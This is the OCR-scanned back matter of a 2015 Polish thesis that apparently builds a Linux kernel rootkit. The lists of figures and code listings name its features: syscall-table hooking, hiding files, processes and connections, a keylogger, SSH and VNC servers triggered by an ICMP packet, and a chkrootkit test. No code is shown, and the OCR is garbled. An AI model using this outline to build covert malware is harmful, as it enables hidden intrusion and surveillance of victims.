procedurg ukrywania plKOW ........ccccoiiiiiiiii e 42
Rysunek 8. Obraz ekranu prezentujacy wywotanie funkcji ukrywania plikow ......43
Rysunek 9. Obraz ekranu prezentujacy zawarto$¢ katalogu gtéwnego dysku po
uruchomieniu procedury ukrywania pIKOW .........cocveiiiiiiiiiie i 44
Rysunek 10. Obraz eckranu przedstawiajacy list¢ uruchomionych proceséw
przegladarki CRIOME. .. ......coiiiiiiiiiic e 44
Rysunek 11. Obraz ekranu przedstawiajgcy procedure ukrywania procesOw
przegladarki CRIOME. .........coiiiiiiiiiiic e 45
Rysunek 12. Obraz ekranu prezentujacy liste uruchomionych procesow przegladarki
Chrome po wykonaniu procedury ukrywania proCeSOW ...........cccoevvervrenersieesinennnns 45
Rysunek 13. Obraz ekranu prezentujacy liste otwartych potaczen sieciowych przed
procedurg ukrywania polgczen sieCIOWYCh ........ccovviiiiiiiiiiii 46

Rysunek 14. Obraz eckranu przedstawiajacy procedur¢ ukrywania potaczen

sieciowych TCP IPv4 na portach 80 1 443.......c..ooiiieiiiiiieee e 47
Rysunek 15. Obraz ekranu przedstawiajacy liste aktywnych potaczen sieciowych po
uruchomieniu procedury ukrywania potgczen sieCiowych.........ccooviiiiiiiiiiiciinnns 47
Rysunek 16. Obraz ekranu prezentujacy dziatanie funkcji keyloggera................... 48
Rysunek 17. Obraz ekranu prezentujacy wywolanie skryptu ping.py........c.cceevenee.. 49

Rysunek 18. Obraz ekranu prezentujacy zdalne uruchomienie serwera SSH przy

pomocy spreparowanego pakietu ICMP ECHO..........ccccco i 49



60

Rysunek 19. Obraz ekranu przedstawiajacy liste uruchomionych procesow serwera

IS PP P PR 49
Rysunek 20. Lista aktywnych polgczen SieCIOWYCh ......ccvevvvevieiiiiieiieiie e 49
Rysunek 21. Obraz ekranu prezentujacy udang probe potgczenia .........cccveveeneen, 50
Rysunek 22. Obraz ekranu przedstawiajacy procedure uruchamiania serwera VNC
.................................................................................................................................. 51
Rysunek 23. Obraz ekranu przedstawiajacy udane polaczenie VNC przy uzyciu
programu VNC VIeWer PLUS ... 52
Rysunek 24. Obraz ekranu przedstawiajacy liste aktywnych procesow serwera VNC
.................................................................................................................................. 52
Rysunek 25. Obraz ekranu prezentujacy wyniki skanowania ..........c.cccocerverivennns 54

Rysunek 26. Obraz ekranu prezentujacy raport zwykty programu chkrootkit........ 55



61

Wykaz kodow zrodlowych

Kod zrédlowy 1. Wynik dezasemblacji kodu obstugi przerwania programowego

Kod zrédlowy 2. Funkcja wyszukujaca adres tablicy wywotan systemowych....... 22

Kod zrodlowy 3. Funkcja pobierajaca wskaznik do funkcji iteratora wirtualnego

SYSEEMU PHIKU ... e e reenree e 25
Kod zréodlowy 4. Funkcja listujaca Katalog .........ccocvevvereriniieninieeie e 26
Kod zrédlowy 5. Funkcja podmieniajagca wywolanie systemowe root_iterate ...... 26
Kod zrodlowy 6. Funkcja iterujaca plik sekwencyjny potaczen TCP IPv4 ............ 28
Kod zrodlowy 7. Funkcja pobierajgca adres funkcji iterujace] ......ccceevvveervneernnenn, 29
Kod zrodltowy 8. Funkcja inicjujaca podstuch klawiatury ..........cccooeviiiiiiiininnne 30

Kod zrédlowy 9. Funkcja pobierajaca adres funkcji obstugi zapytan IOCTL ........ 32
Kod zrodlowy 10. Zmodyfikowana funkcja systemowa obstugi zapytan IOCTL ..33
Kod zrodlowy 11. Funkcja inicjujaca filtr pakietow ..........cccovviiiiiiiiiiiiie, 35
Kod zrodlowy 12. Funkcja obstugi zdarzenia przyjecia pakietu ICMP .................. 36
Kod zrédlowy 13. Funkcja obstugujaca watek zarzadzania stanem serwera SSH..37

Kod zrodlowy 14. Przyktadowe wywotanie komendy IOCTL ukrywania procesu.



62

Wyrazam zgode na udostepnienie mojej pracy przez Biblioteke Glowng WAT w

czytelni oraz w ramach wypozyczen miedzybibliotecznych.

Data 27.01.2015 (podpis)



